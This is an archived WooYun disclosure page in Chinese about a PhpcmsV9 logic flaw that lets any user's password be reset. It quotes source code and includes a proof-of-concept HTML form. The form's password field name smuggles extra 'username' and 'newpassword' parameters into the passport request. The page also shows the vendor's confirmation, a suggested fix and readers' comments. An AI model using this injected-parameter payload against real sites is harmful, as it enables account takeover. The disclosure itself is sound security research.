当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(38) 关注此漏洞

缺陷编号: WooYun-2013-17119

漏洞标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

相关厂商: phpcms

漏洞作者: 我想拿个shell

提交时间: 2013-01-09 11:37

公开时间: 2013-02-23 11:38

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 设计错误 逻辑错误 phpcms 任意密码修改

10人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-09: 细节已通知厂商并且等待厂商处理中
2013-01-09: 厂商已经确认,细节仅向厂商公开
2013-01-19: 细节向核心白帽子及相关领域专家公开
2013-01-29: 细节向普通白帽子公开
2013-02-08: 细节向实习白帽子公开
2013-02-23: 细节向公众公开

简要描述:

由于某处的实现机制没有考虑到某个条件,导致了一个任意用户密码重置漏洞。

建议漏洞危害设置为高。

详细说明:

其实我在发第一个漏洞的时候,就看到了

WooYun: PhpcmsV9 SQL注射 2013年贺岁第一发

提到的通行证的代码:



code 区域
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);





在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。



我把它留给了你们。

不知道你们发现了它没有。



我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。



所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。



也就是



username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。



要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。





其实我们有这样的机会,看看代码,如下:



code 区域
public function auth_data($data) {
$s = $sep = '';
foreach($data as $k => $v) {
if(is_array($v)) {
$s2 = $sep2 = '';
foreach($v as $k2 => $v2) {
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
$sep2 = '&';
}
$s .= $sep.$s2;
} else {
$s .= "$sep$k=".$this->_ps_stripslashes($v);
}
$sep = '&';
}

$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
return $auth_s;
}





可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。



举个例子



$a[aaa=a&bbb] = 'a';



会变成aaa=a&bbb=a



明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。



这个时候,我们可以再去看一个函数。



就在这个文件内:



code 区域
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
if($email && !$this->_is_email($email)) {
return -4;
}
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
}





这是向通行证发了这样一个请求。



我们再跟到通信证代码里去看看,就会有所发现。



code 区域
public function edit() {
//能省就省,太长了不是吗?

if($this->username) {
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
$res = $this->db->update($data, array('username'=>$this->username));
} else {
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$res = $this->db->update($data, array('uid'=>$this->uid));
}





好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:



public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')



很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。



我当然找到了:

phpcms9/phpcms/modules/member/index.php

code 区域
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);





然后就没有然后了。



漏洞证明:

我还是给个视频说明吧。





密码:nicai



第四分钟后就别看了,我从虚拟机切出来时我电脑卡了。



此次用到的表单如下:



code 区域
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
<table width="100%" cellspacing="0" class="table_form">
<tr>
<th width="80">邮箱:</th>
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
</tr>
<tr>
<th width="80">原密码:</th>
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
</tr>
<tr>
<th>新密码:</th>
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
</tr>
<th></th>
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
</tr>
</table>


</form>



修复方案:

urlencode那个key和value



话说,你看看,每次都是这么精彩的分析,这么能说明问题的漏洞,这样好的证明以及实际可用的解决方案,为啥会拿和那种无聊xss一样的rank值呢?



要有审美观。

版权声明:转载请注明来源 我想拿个shell@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2013-01-09 13:27

厂商回复:

感谢,请联系我们官网客服,留下你的联系方式!!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2013-01-09 11:44 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    来了 来了 又来了

  2. 2013-01-09 11:44 | 我想拿个shell ( 实习白帽子 | Rank:70 漏洞数:5 | 好码近似诗,挫码不如屎。)
    1

    视频还是有点看不清楚,不过我给了poc代码,我只能做到这里了。

  3. 2013-01-09 11:55 | 风萧萧 认证白帽子 ( 普通白帽子 | Rank:1068 漏洞数:80 | 人这一辈子总要动真格的爱上什么人)
    0

    1月最佳洞主?

  4. 2013-01-09 11:57 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @风萧萧 这个最佳洞主咋选啊

  5. 2013-01-09 12:05 | 风萧萧 认证白帽子 ( 普通白帽子 | Rank:1068 漏洞数:80 | 人这一辈子总要动真格的爱上什么人)
    0

    @xsser 管理选出最佳洞主的候选,然后所有白帽子投票。BTW,开发个投票系统撒!

  6. 2013-01-09 12:20 | se55i0n ( 核心白帽子 | Rank:1571 漏洞数:174 )
    1

    @xsser 最佳,肯定看整体洞洞内容了撒

  7. 2013-01-09 12:22 | 我想拿个shell ( 实习白帽子 | Rank:70 漏洞数:5 | 好码近似诗,挫码不如屎。)
    0

    @se55i0n 按照质量,我觉得我可以是个首席分析师。

  8. 2013-01-09 12:27 | se55i0n ( 核心白帽子 | Rank:1571 漏洞数:174 )
    0

    @我想拿个shell 老实交代,你是哪个大牛的马甲...

  9. 2013-01-09 12:36 | 冷静 ( 路人 | Rank:3 漏洞数:2 )
    0

    洞主来个dz的~

  10. 2013-01-09 13:17 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
    1

    只可以说我继续关注

  11. 2013-01-09 13:20 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1878 漏洞数:154 | 不要患得患失,我羡慕你,但是我还是选择做...)
    0

    碉堡了,来个10连发!

  12. 2013-01-09 13:31 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
    1

    http://www.wooyun.org/whitehats/tenzy 严重怀疑马甲是这个!

  13. 2013-01-09 13:33 | Clar ( 路人 | Rank:5 漏洞数:2 | 当前无)
    0

    洞主威武!

  14. 2013-01-09 13:57 | 我想拿个shell ( 实习白帽子 | Rank:70 漏洞数:5 | 好码近似诗,挫码不如屎。)
    0

    @疯子 还真不是。

  15. 2013-01-29 23:57 | hacx ( 实习白帽子 | Rank:52 漏洞数:6 )
    1

    视频看不清啊。。。

  16. 2013-01-30 09:43 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)
    0

    这个还真精彩...

  17. 2013-01-30 18:07 | Seay ( 实习白帽子 | Rank:65 漏洞数:8 )
    0

    分析的很不错,支持洞主

  18. 2013-01-30 18:24 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    0

    @我想拿个shell <th>新密码:</th> <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td> </tr> 中的%5D=aaa%5D%5B有什么作用

  19. 2013-01-30 18:26 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    0

    @风萧萧 @疯子 @hacx @xsser @疯狗 <th>新密码:</th> <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td> </tr> 中的%5D=aaa%5D%5B有什么作用

  20. 2013-01-30 18:28 | Ray ( 实习白帽子 | Rank:75 漏洞数:7 )
    0

    @_Evil 没用。

  21. 2013-01-30 18:30 | 我想拿个shell ( 实习白帽子 | Rank:70 漏洞数:5 | 好码近似诗,挫码不如屎。)
    1

    @Ray @_Evil 对 确实是没有用,这个是在测试的时候没有删,实际上后来看代码,value也没有urlencode的。

  22. 2013-01-30 21:53 | Seay ( 实习白帽子 | Rank:65 漏洞数:8 )
    1

    厂商回复:感谢,请联系我们官网客服,留下你的联系方式!!

  23. 2013-01-30 21:57 | _Evil ( 普通白帽子 | Rank:431 漏洞数:61 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
    0

    @我想拿个shell value利用表单怎么写呢。 感谢分享

  24. 2013-01-31 10:53 | 我想拿个shell ( 实习白帽子 | Rank:70 漏洞数:5 | 好码近似诗,挫码不如屎。)
    0

    @_Evil value就不需要修改表单了,直接在对应的参数写a&b&c就可以了。

  25. 2013-02-23 15:22 | 酷帥王子 ( 普通白帽子 | Rank:262 漏洞数:71 | 天之屌,人之神!天人合一,乃屌神也!绝对...)
    0

    这神马漏洞呢,要知道原密码,改密码直接可以在后台改呀

  26. 2013-02-23 16:34 | 酷帥王子 ( 普通白帽子 | Rank:262 漏洞数:71 | 天之屌,人之神!天人合一,乃屌神也!绝对...)
    0

    为什么我测试以后老是提示原密码不正确呢

  27. 2013-11-20 12:01 | 士大夫 ( 实习白帽子 | Rank:88 漏洞数:37 | 杭州WEB安全小组)
    0

    测试的时候提示老是提示原始密码错误。是怎么回事啊。原始密码填的是当前登录密码吗?

登录后才能发表评论,请先 登录